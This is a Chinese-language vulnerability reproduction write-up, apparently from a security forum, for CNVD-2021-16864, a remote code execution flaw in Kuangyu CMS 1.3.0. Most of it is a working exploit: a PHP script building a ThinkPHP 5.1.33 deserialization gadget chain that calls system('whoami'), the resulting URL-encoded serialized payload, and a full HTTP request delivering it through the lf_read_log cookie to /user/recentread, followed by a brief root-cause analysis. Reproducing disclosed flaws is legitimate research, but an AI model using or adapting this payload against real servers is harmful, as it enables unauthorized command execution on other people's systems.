CNVD-2021-16864 某雨cms前台rce复现分析 - dddd

从cnvd上看到

安装

在官网下载最新版本1.3.0版本
http://bbs.kyxscms.com/?t/1.html

使用phpstudy安装
安装说明如官网说明
http://help.kyxscms.com/935571

也可参考文章进行安装cms
https://www.jianshu.com/p/b631b16934c8

前台注册用户

安装后如下，可在前台注册用户

注册成功后进行登录，利用burpsuite进行抓取数据包

漏洞利用

利用如下

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
    }
    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $payload = new think\process\pipes\Windows($conver);
    echo urlencode(serialize($payload));
}
?>

运行生成payload

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D

数据包如下

GET /user/recentread HTTP/1.1
Host: 192.168.1.117
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lf___forward__=%2Findex.php; lf_user_auth=think%3A%7B%22uid%22%3A%221%22%2C%22username%22%3A%22test123%22%7D; lf_user_auth_sign=55191927140cf618017e2013feb6902eea3a01e0;lf_read_log=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A3%3A%22lin%22%3Bs%3A6%3A%22system%22%3B%7D%7D%7D%7D
Connection: close

代码分析

漏洞主要的产生原因是狂雨cms使用了thinkphp框架和可控的反序列化输入点
进入狂雨cms，查看thinkphp版本为5.1.33，存在反序列化利用链

exp为

<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
    }
    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];
        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $payload = new think\process\pipes\Windows($conver);
    echo urlencode(serialize($payload));
}
?>

从源码搜,发现会从cookie中读取readlog字段，注意cookie的键值要加前缀lf

以首页路由为例

访问，/user/recentread其会从cookie中进行读取然后进行反序列化，再结合thinkphp反序列化利用链即可命令执行

BY:先知论坛